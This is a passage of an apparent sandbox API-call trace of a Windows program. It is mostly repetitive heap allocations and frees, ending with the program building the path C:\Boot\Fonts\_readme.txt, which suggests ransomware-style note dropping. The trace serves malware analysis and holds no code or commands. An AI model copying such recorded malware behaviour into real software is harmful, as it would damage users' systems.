dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.026] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.027] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.028] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.029] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.029] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.030] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.030] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.031] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.031] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.032] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.032] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.033] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0267.033] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.034] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.034] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.034] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.034] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.034] PathFindFileNameW (pszPath="") returned="" [0267.034] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.034] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.034] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.034] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.034] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.034] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0267.034] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.034] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.034] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.035] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.035] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.035] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x81c) returned 0x3109120 [0267.035] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0267.035] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.035] PathFileExistsW 